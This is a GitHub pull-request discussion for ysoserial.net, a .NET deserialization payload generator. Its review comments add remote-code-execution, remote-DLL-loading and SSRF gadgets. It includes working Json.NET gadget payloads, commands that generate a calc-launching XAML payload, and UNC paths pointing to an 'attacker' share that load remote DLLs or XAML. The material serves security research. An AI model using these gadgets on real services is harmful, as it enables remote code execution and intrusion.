pwntester / ysoserial.net

Deserialization payload generator for a variety of .NET formatters
MIT License
3.24k stars 474 forks source link

Post hexacon #156

Closed chudyPB closed 1 year ago

chudyPB commented 1 year ago

Hi,

This PR implements a lot of stuff. This is an outcome of my Hexacon 2023 talk. White paper that describes all the implemented gadgets/plugin will be made public in a day or two - I will add a comment to this PR. Presentation video should be available soon.

Changes:

1) New gadgets in the main line

Please note that some of the listed gadgets can be also implemented for some different formatters, but I didn't manage to test them against all of the possible serializers.

GetterSecurityException - RCE gadget for .NET Framework. This gadget chains Arbitrary Getter Call gadget and SecurityException serialization gadget (getter leads to BinaryFormatter). It has 4 variants. Every variant implements a different Arbitrary Getter Call gadget - PropertyGrid, ListBox, ComboBox, CheckedListBox.

GetterSettingsPropertyValue - RCE gadget for .NET Framework. This gadget chains Arbitrary Getter Call gadget and SecurityException serialization gadget (getter leads to BinaryFormatter). It has 4 variants. Every variant implements a different Arbitrary Getter Call gadget - PropertyGrid, ListBox, ComboBox, CheckedListBox.

XamlImageInfo - RCE gadget for .NET Framework, leads to XAML loading. Currently implemented for Json.NET in 2 variants: variant 1 (GAC) - loads XAML from file (UNC path can be provided for remote file loading); variant 2 (non-GAC) - directly delivers the XAML payload, but Microsoft.Web.Deployment.dll is required

BaseActivationFactory - Remote DLL loading for .NET 5, 6 and 7. Requires WPF to be enabled or PresentationFramework.dll to be available. C/C++ dll can be provided. UNC path can be given to load remote DLL.

GetterCompilerResults - Remote DLL loading for .NET 5, 6 and 7, local DLL loading for .NET Framework. For .NET 5/6/7, WPF needs to be enabled or PresentationFramework.dll available. Mixed assembly can be delivered. For .NET 5/6/7 remote loading, UNC path can be given. No requirements for local DLL loading in .NET Framework.

2) 2 new labels for gadgets

As I have introduced gadgets that chain arbitrary getter call with something that I've called serialization gadget, I have added two new labels:

GetterChainAndDerived = "Chain of arbitrary getter call and derived gadget",
GetterChainNotDerived = "Chain of arbitrary getter call and not derived gadget",

3) Contribution to TextFormattingRunProperties

I have implemented Json.NET for TextFormattingRunProperties

4) 3 New Plugins

I have created 3 new plugins:

a) GetterCallGadgets

It allows you to chain your serialization gadget (gadget where getter call leads to something malicious) with one of the implemented arbitrary getter call gadgets:

I have only implemented those gadgets for Json.NET, but some of them are also applicable for different serializers. It's a thing for a future implementation, or somebody may want to contribute.

b) NetNonRceGadget

It implements Non-RCE gadgets for .NET Framework. I've implemented 3 gadgets:

    (*) PictureBox - SSRF / NTLM Relay gadget. Protocols that can be used: http, https, ftp, file
        Formatters: Json.Net, JavaScriptSerializer, Xaml
        [Finders: Piotr Bazydlo]

    (*) InfiniteProgressPage - SSRF / NTLM Relay gadget. Protocols that can be used: http, https, ftp, file
        Formatters: Json.Net, JavaScriptSerializer, Xaml
        [Finders: Piotr Bazydlo]

    (*) FileLogTraceListener - directory creation gadget.May lead to DoS, when executed with admin privileges.
        Formatters: Json.Net, JavaScriptSerializer, Xaml
        [Finders: Piotr Bazydlo]

They are also applicable for different serializers. It's a thing for a future implementation, or somebody may want to contribute.

c) ThirdPartyGadgets

This plugin implements gadgets for 3rd party libraries, like MongoDB or Grpc.Core. Right now, there are 10 gadgets implemented and you can list them with this command:

ysoserial.exe -p ThirdPartyGadgets -l

Gadgets are fully described. Also, all the details about them can be found in the white paper.

I have only implemented those gadgets for Json.NET, but some of them are also applicable for different serializers. It's a thing for a future implementation, or somebody may want to contribute.

irsdl commented 1 year ago

This is amazing, well done! I feel like those plugins can be added as main or variant perhaps in the future when we are not fussed about command/code execution anymore which I think is a good change.

I haven't done any professional reviews in GitHub so please excuse the way I have written everything here as a blob. I can do better in the future! I realised this very late when I was almost finished writing them.

To Be Addressed

A few minor things here to be addressed: 1- I have noticed the ysoserial.csproj has not been submitted. This means the new changes cannot be built as those modules are excluded. Could you please update that to include them all? (in generators, plugins and helpers) image

2- Running ysoserial.exe -g BaseActivationFactory -f Json.Net -c 'https://1.1.1.1/test.dll' shows a descriptive comment before the payload saying This gadget loads remote/local file: -c argument should provide a file path to your DLL file (without .dll extenion - it will be appended during gadget execution) - Is it possible to fix the typo and display this only if the payload does not perhaps end with a .dll? This makes it difficult to use the generated payload straight away without further manual changes. The GetterCompilerResultsGenerator is similar.

2.1- Could you also please do the same thing with the comment in XamlImageInfo for its first variant? In that case probably just display it when -t is used as we have no way of knowing whether what has been provided is valid?

3- In XamlImageInfoGenerator could you please use inputArgs.IsRawCmd = true instead of using cmd argument to prevent error when --rawcmd is used? The code would look like this:

                else
                {
                    inputArgs.IsRawCmd = true;
                    Console.WriteLine("This gadget loads remote/local file: -c argument should provide a file path to your XAML file\r\n");
                    payload = @"{
    '$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'stream':{
        '$type':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35','path':'" + inputArgs.Cmd + @"'
    }
}";

3.1- The same thing should be done in GetterCompilerResultsGenerator to use inputArgs.IsRawCmd = true and inputArgs.Cmd

4- (suggestion) add --minify to the plugins when you have the time.

5- I think the GetterCallGadgetsPlugin is a little bit vague on how to create the inner-gadget. I also think you can use ysoserial.net to automatically create this inner-gadgets if you need to specify the gadget such as GetterSecurityException with json.net formatter. That would make it quite easier than generating a payload first then passing it to the plugin. Other plugins such as ResxPlugin do this if you need an example. If you really want to go hard core in terms of chaining multiple gadgets, you can also have a look at the --bridgedgadgetchains feature.

6- Please add both https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf and https://www.youtube.com/watch?v=ZcOZNAmKR0c&feature=youtu.be to the readme. I feel like we as a community haven't done a good job overall in keeping the links up to date so please kindly add anything you think are related and you already have them in your list over there (only if you have the time as this is not necessary for this PR).

Questions:

chudyPB commented 1 year ago

Thanks for all the feedback, I find it really good!

Fixes

1

fixed, although my Visual Studio has updated some of the packages. It should not have any effect on the tool, but you may want to double check.

2

It's a little complex here, but I have managed to modify it in a following way:

a) BaseActivationFactory

BaseActivationFactory should receive a path with no extension. During the deserialization, the .NET code will append the ".dll" string to the path.

I've done following:

b) GetterCompilerResults

We are able to load files not only with the ".dll" extension. I've already exploited something once, where I could upload ".txt" file and chained the file-write primitive with this gadget to load the DLL, where file had the ".txt" extension.

Still, I've implemented a check if the given path ends with ".dll" (case insensitive). I've also provided all the explanation and said that if you want to have a different extension in the gadget - just modify it manually.

2.1

Done, appended info message when the test is enabled.

3 and 3.1

Done for XamlImageInfo, GetterCompilerResults and BaseActivationFactory

4

I've implemented --minify for all 3 plugins. As I've only added json versions of gadgets, the minifier for JSON was added.

5

So, it's quite complex. My idea was following:

a) If we are aware of an available gadget chain (like GetterSecurityException) - we are adding it to the main line of gadgets (or appropriate plugin).

b) This gadget was intended to chain custom "insecure serialization" gadgets that you may find in e.g. targeted product codebase, with any known Arbitrary Getter Call gadget (like PropertyGrid).

This is way I didn't implement chains with e.g. SecurityException here. It is already done in the main line of gadgets.

I know that the entire idea may be kind of confusing without reading the white paper or hearing my presentation, so I have extended the feedback provided by the plugin.

To see it, run it with -l:


> .\ysoserial.exe -p GetterCallGadgets -l

Plugin allows you to chain any "insecure serialization" gadget with the arbitrary getter call gadget.
You can use this pluing to chain serialization gadgets found in different codebases with arbitrary getter call gadget and reach malicious getter call.
Several chain of gadgets are already implemented in the ysoserial.net, see following gadgets:
- GetterSecurityException
- GetterSettingsPropertyValue
- GetterCompilerResults
- GetterActiveMQObjectMessage in ThirdPartyGadgets plugin

For more information about chaining arbitrary getter call gadgets with insecure getter gadgets, see following white paper ("Arbitrary Getter Call Gadget Idea" and "Combining Getter Gadgets with Insecure Serialization Gadgets"): https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

Gadgets are implemented for Json.NET only, but some of them are applicable to different serializers too (like JavaScriptSerializer or MessagePack).

Gadgets:

    (*) PropertyGrid
    ...

So in general, I treat this plugin as something for the "hardcore" exploitation, when nothing else is available and we are desperate to bypass some e.g. blacklist.

Please let me know if this idea is OK with you. If not, I am open to contribute more and we can work on something different here.

6

Done, white paper was not public when I made this PR. I've also added one of my recent blog posts (which is also included in the beginning of the white paper). I'll try to extend this list in the future.

Questions

BaseActivationFactory tests

Yes, in order to test this gadget, we need to build with .NET 5, 6 or 7. Also, we need to enable WPF (I've added this info to the message).

To enable WPF, add follwoing to the .csproj, under PropertyGroup tag:

<UseWindowsForms>true</UseWindowsForms>

Double execution with --var 2

Oh yes, I'm aware of that but I forgot to mention that. ComboBox arbitrary getter call gadget tends to call the target getter twice. This is because we have a code executed twice :) I've added this info to the variant description.

BTW - sometimes it does not behave this way and calls the getter once only. I have never found time to debug this behavior more.

XamlInfoGenerator variant switch

I've used the file-based variant as a main one, because it exists in GAC and you should be able to use it against any target. The second variant works only if you have a non-GAC dll available: Microsoft.Web.Deployment. This is why I think that we can stick with this.

Regarding the tests - you can easily test variant 1 too. You just have to create a XAML gadget, put it on your local file system or remote SMB server and generate a gadget that loads this file.

Example:


> .\ysoserial.exe -g ObjectDataProvider -f Xaml -c calc.exe > \\192.168.1.25\c$\Users\Public\test.xaml

> .\ysoserial.exe -g XamlImageInfo -f Json.Net -c '\\\\192.168.1.25\\c$\\Users\\Public\\test.xaml' -t

This gadget loads remote/local file: -c argument should provide a file path to your XAML file. UNC path can be used for the remote file loading
Example: ysoserial.exe -g XamlImageInfo -f Json.Net -c '\\\\attacker\\poc\\your.xaml'
{
    '$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'stream':{
        '$type':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35','path':'\\\\192.168.1.25\\c$\\Users\\Public\\test.xaml'
    }
}

This should pop calc :) Please note that you have to escape the \ characters in the gadget.

FileLogTraceListener for JavaScriptSerializer

Ok, this is weird, as it works flawlessly on any Windows VM that I have.


> ls C:\Users\Public\pocdir\
ls : Cannot find path 'C:\Users\Public\pocdir\' because it does not exist.

> .\ysoserial.exe -p NetNonRceGadgets -g FileLogTraceListener -f JavaScriptSerializer -i 'C:\\Users\\Public\\pocdir' -t

{
    '__type':'Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
    'CustomLocation':'C:\\Users\\Public\\pocdir'
}

> ls C:\Users\Public\pocdir\

>

My guess is: this is non-GAC assembly, but my base Windows build has it for some reasone (maybe I've installed something along with Visual Studio, where Visual Studio adds this installer to GAC).

However, I was pretty sure that Microsoft.VisualBasic is a GAC dll. Could you please check if you have this DLL in your GAC and if not, is Version and PublicKeyToken correct? If yes, I guess we have to investigate this further.

irsdl commented 1 year ago

Thanks for the quick update. We are getting there :)

Here are some further comments:

A) This should pop calc :) Please note that you have to escape the \ characters in the gadget. I am sorry I have given you incomplete advise as I have forgotten how things used to work a little bit. As the inputs are going in JSON, I think you should also use inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; then use inputArgs.CmdFullString to have it all escaped automatically. So the code in GetterCompilerResultsGenerator.cs for example will look like this:

    inputArgs.IsRawCmd = true;
    inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;

    if (!inputArgs.Cmd.ToLowerInvariant().EndsWith(".dll"))
    {
        Console.WriteLine("This gadget loads remote (.NET 5/6/7) or local file (.NET Framework): -c argument should provide a file path to your mixed DLL file, which needs to end with the \".dll\"\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nIf you want to deliver file with a different extension than .dll, please modify the gadget manually\r\nExample: ysoserial.exe -g GetterCompilerResults -f Json.Net -c '\\\\\\\\attacker\\\\poc\\\\your.dll'");
        Environment.Exit(-1);
    }

    if (formatter.ToLower().Equals("json.net"))
    {

        compilerPayload = @"{
    '$type':'System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51',
    'tempFiles':null,
    'PathToAssembly':'" + inputArgs.CmdFullString + @"'
}";
...

Please make sure the payloads can still run with -t and it doesn't mess things up.

B) We are now getting an error from GitHub build complaining about the MessagePack assembly.

D:\a\ysoserial.net\ysoserial.net\ysoserial\Helpers\SerializersHelper.cs(1,7): error CS0246: The type or namespace name 'MessagePack' could not be found (are you missing a using directive or an assembly reference?) [D:\a\ysoserial.net\ysoserial.net\ysoserial\ysoserial.csproj]

Although it builds ok locally, I think we need to modify the project file at least for:

..\packages\MessagePack.2.5.129\lib\netstandard2.0\MessagePack.dll
..\packages\MessagePack.Annotations.2.5.129\lib\netstandard2.0\MessagePack.Annotations.dll

One thing I see there is that you have used netstandard. I am not sure whether we can have this for .NET Framework but please check that as well. Could you please also add the packages.config with the updates?

C) I have noticed some unused libraries in the project file. Please remove any unused libraries from the CSProj file and packages.config and make sure it builds fine

chudyPB commented 1 year ago

Ok, updates made :)

A)

Nice feature! I've added it to the BaseActivationFactory, GetterCompilerResults and XamlImageInfo.

B and C)

The entire mess happened, because I was adding new packages to test 3rd party gadgets. NuGet needed to update and add some additional packages during the process. I have retrieved an old .csproj file and just added .cs files. Should be good now. I have downloaded the entire repo and I was able to build it.

D) Testing and additional thing

I have tested all the stuff again on 2 different machines.

Everything works on both machines except for GetterCompilerResults local DLL loading for .NET Framework (it works for .NET >= 5).

On one machine, System.CodeDom.dll is present in GAC for .NET Framework. On the second, it is not. This is some dependency hell, as it is available for .NET 5/6/7 on both machines.

Anyway, I have added an additional info to the GetterCompilerResults local DLL loading for .NET Framework, which says that System.CodeDom needs to be available for it to work.

I think that rest of the stuff should be good now :)

irsdl commented 1 year ago

I am happy with all this now and as you have confirmed that all is working, I am going to approve this given we also have a successful build :) Thank you!

chudyPB commented 1 year ago

Thanks for a quick review! If there are any issues regarding the added gadgets or plugins - let me know. I'll try to resolve issues as fast as possible. :)

pwntester commented 1 year ago

Awesome job @chudyPB! and thanks a lot for the quick review @irsdl!